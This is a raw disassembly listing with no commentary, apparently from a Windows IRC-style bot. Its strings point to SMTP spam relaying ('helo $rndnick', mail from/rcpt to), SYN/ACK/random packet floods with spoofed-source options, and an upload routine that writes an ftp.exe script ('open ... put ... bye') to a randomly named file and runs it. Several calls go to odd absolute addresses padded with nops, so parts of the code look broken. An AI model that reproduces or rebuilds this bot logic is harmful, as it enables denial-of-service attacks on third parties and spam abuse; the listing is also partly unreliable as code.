		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A6DC

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 26A0688h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
